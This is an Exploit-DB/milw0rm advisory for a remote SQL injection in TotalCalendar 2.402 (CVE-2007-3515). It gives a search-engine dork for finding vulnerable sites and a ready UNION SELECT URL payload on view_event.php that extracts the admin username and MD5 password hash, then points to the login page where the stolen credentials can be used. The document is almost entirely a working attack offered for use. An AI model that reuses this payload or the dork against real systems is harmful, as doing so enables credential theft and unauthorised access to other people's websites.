TotalCalendar <= 2.402 view_event.php Remote SQL Injection Vulns

2007-06-30T00:00:00
ID EDB-ID:4130
Type exploitdb
Reporter t0pP8uZz
Modified 2007-06-30T00:00:00

Description

TotalCalendar <= 2.402 (view_event.php) Remote SQL Injection Vulns. CVE-2007-3515. Webapps exploit for php platform

                                        
                                            --==+================================================================================+==--
--==+                TotalCalendar 2.402 SQL Injection Vulnerability                 +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://sweetphp.com/nuke/index.php
DORK: allintext:"Powered by: TotalCalendar"

DESCRIPTION:
Remote SQL injection in view_event.php id, able to pull admin username/md5hash. 

EXPLOIT:
http://site.com/calender/path/view_event.php?id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,pw),5,6,7,8,9,10,11,12,13,14,15/**/FROM/**/tcal_users/**/WHERE/**/uid=1/*

Tip/Note:
Login is in /auth.php?action=login
Older versions of this script are using magic quotes, while the newest is not.
The module version (ie: modules.php?name=totalcalendar) of this script has the vulnerabilities but php-nuke never lets them reach the module.


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+                TotalCalendar 2.402 SQL Injection Vulnerability                 +==--
--==+================================================================================+==--

# milw0rm.com [2007-06-30]